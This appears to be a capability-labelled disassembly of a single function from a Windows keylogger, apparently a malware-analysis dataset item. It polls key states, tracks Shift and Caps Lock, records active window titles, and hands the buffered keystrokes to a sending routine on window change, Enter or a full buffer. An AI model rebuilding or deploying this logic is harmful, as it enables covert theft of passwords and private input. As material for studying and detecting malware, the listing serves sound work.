Function at 0x405c60
Capabilities:
Check for foreground window switch
Get graphical window text
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
push edi
sub esp, 0xaf4
lea edx, [ebp - 0x428]
mov eax, 0
mov ecx, 0x100
mov edi, edx
rep stosd dword es:[edi], eax
mov dword [ebp - 0x14], 0
mov eax, dword [ebp + 8]
mov dword [ebp - 0x18], eax
mov dword [esp + 8], 0x258
mov dword [esp + 4], 0
lea eax, [ebp - 0x680]
mov dword [esp], eax
call sym._memset
mov eax, dword [sym.imp.USER32.dll_GetForegroundWindow]
call eax
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov dword [esp + 8], 0x3c
lea eax, [ebp - 0x9dd]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_GetWindowTextA]
call eax
sub esp, 0xc
jmp 0x406118
mov dword [esp], 8
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
mov eax, dword [sym.imp.USER32.dll_GetForegroundWindow]
call eax
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
cmp eax, dword [ebp - 0xc]
je 0x405dd4
lea eax, [ebp - 0x680]
movzx eax, byte [eax]
test al, al
je 0x405da2
lea eax, [ebp - 0x680]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s__Changed_window
lea eax, [ebp - 0x9a0]
mov dword [esp], eax
call sym._sprintf
mov eax, dword [0x460e08]
lea edx, [ebp - 0xae1]
mov dword [esp + 0xc], edx
lea edx, [ebp - 0x9dd]
mov dword [esp + 8], edx
lea edx, [ebp - 0x9a0]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._sendkeys
mov dword [ebp - 0x14], eax
mov dword [esp + 8], 0x258
mov dword [esp + 4], 0
lea eax, [ebp - 0x680]
mov dword [esp], eax
call sym._memset
mov dword [esp + 8], 0x320
mov dword [esp + 4], 0
lea eax, [ebp - 0x9a0]
mov dword [esp], eax
call sym._memset
mov eax, dword [sym.imp.USER32.dll_GetForegroundWindow]
call eax
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov dword [esp + 8], 0x3c
lea eax, [ebp - 0x9dd]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_GetWindowTextA]
call eax
sub esp, 0xc
mov dword [ebp - 0x10], 0
jmp 0x40610e
mov dword [esp], 0x10
mov eax, dword [sym.imp.USER32.dll_GetKeyState]
call eax
sub esp, 4
cwde
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x10]
mov eax, dword [eax*4 + str._b_repqrstuvwxyz1234567890_tQWERTYUIOPASDFGHJKLZXCVBNM]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_GetAsyncKeyState]
call eax
sub esp, 4
test ax, ax
jns 0x405ebd
mov dword [esp], 0x14
mov eax, dword [sym.imp.USER32.dll_GetKeyState]
call eax
sub esp, 4
test ax, ax
je 0x405e56
cmp dword [ebp - 0x20], 0
js 0x405e56
cmp dword [ebp - 0x24], 0x40
jle 0x405e56
cmp dword [ebp - 0x24], 0x5a
jg 0x405e56
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x428], 1
jmp 0x40610a
mov dword [esp], 0x14
mov eax, dword [sym.imp.USER32.dll_GetKeyState]
call eax
sub esp, 4
test ax, ax
je 0x405e91
cmp dword [ebp - 0x20], 0
jns 0x405e91
cmp dword [ebp - 0x24], 0x40
jle 0x405e91
cmp dword [ebp - 0x24], 0x5a
jg 0x405e91
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x428], 2
jmp 0x40610a
cmp dword [ebp - 0x20], 0
jns 0x405eaa
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x428], 3
jmp 0x40610a
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x428], 4
jmp 0x40610a
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x428]
test eax, eax
je 0x40610a
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x428]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x428], 0
cmp dword [ebp - 0x24], 8
jne 0x405f0e
lea eax, [ebp - 0x680]
mov dword [esp], eax
call sym._strlen
sub eax, 1
mov byte [ebp + eax - 0x680], 0
jmp 0x40610a
lea eax, [ebp - 0x680]
mov dword [esp], eax
call sym._strlen
cmp eax, 0x226
jbe 0x405fe2
mov eax, dword [sym.imp.USER32.dll_GetForegroundWindow]
call eax
mov dword [ebp - 0x1c], eax
mov dword [esp + 8], 0x3c
lea eax, [ebp - 0x9dd]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_GetWindowTextA]
call eax
sub esp, 0xc
lea eax, [ebp - 0x680]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s__Buffer_full
lea eax, [ebp - 0x9a0]
mov dword [esp], eax
call sym._sprintf
mov eax, dword [0x460e08]
lea edx, [ebp - 0xae1]
mov dword [esp + 0xc], edx
lea edx, [ebp - 0x9dd]
mov dword [esp + 8], edx
lea edx, [ebp - 0x9a0]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._sendkeys
mov dword [ebp - 0x14], eax
mov dword [esp + 8], 0x258
mov dword [esp + 4], 0
lea eax, [ebp - 0x680]
mov dword [esp], eax
call sym._memset
mov dword [esp + 8], 0x320
mov dword [esp + 4], 0
lea eax, [ebp - 0x9a0]
mov dword [esp], eax
call sym._memset
jmp 0x40610a
cmp dword [ebp - 0x24], 0xd
jne 0x4060b5
lea eax, [ebp - 0x680]
movzx eax, byte [eax]
test al, al
je 0x406109
mov eax, dword [sym.imp.USER32.dll_GetForegroundWindow]
call eax
mov dword [ebp - 0x1c], eax
mov dword [esp + 8], 0x3c
lea eax, [ebp - 0x9dd]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_GetWindowTextA]
call eax
sub esp, 0xc
lea eax, [ebp - 0x680]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s__Return
lea eax, [ebp - 0x9a0]
mov dword [esp], eax
call sym._sprintf
mov eax, dword [0x460e08]
lea edx, [ebp - 0xae1]
mov dword [esp + 0xc], edx
lea edx, [ebp - 0x9dd]
mov dword [esp + 8], edx
lea edx, [ebp - 0x9a0]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._sendkeys
mov dword [ebp - 0x14], eax
mov dword [esp + 8], 0x258
mov dword [esp + 4], 0
lea eax, [ebp - 0x680]
mov dword [esp], eax
call sym._memset
mov dword [esp + 8], 0x320
mov dword [esp + 4], 0
lea eax, [ebp - 0x9a0]
mov dword [esp], eax
call sym._memset
jmp 0x40610a
cmp dword [ebp - 0x28], 1
je 0x4060c1
cmp dword [ebp - 0x28], 3
jne 0x4060df
mov eax, dword [ebp - 0x10]
mov eax, dword [eax*4 + 0x41e420]
mov dword [esp + 4], eax
lea eax, [ebp - 0x680]
mov dword [esp], eax
call sym._strcat
jmp 0x40610a
cmp dword [ebp - 0x28], 2
je 0x4060eb
cmp dword [ebp - 0x28], 4
jne 0x40610a
mov eax, dword [ebp - 0x10]
mov eax, dword [eax*4 + 0x41e2a0]
mov dword [esp + 4], eax
lea eax, [ebp - 0x680]
mov dword [esp], eax
call sym._strcat
jmp 0x40610a
nop
add dword [ebp - 0x10], 1
cmp dword [ebp - 0x10], 0x5b
jle 0x405de0
cmp dword [ebp - 0x14], 0
je 0x405ce0
mov eax, dword [ebp - 0x18]
imul eax, eax, 0x318
add eax, 0x461cfc
mov dword [eax], 0
mov eax, 1
mov edi, dword [ebp - 4]
leave
ret 4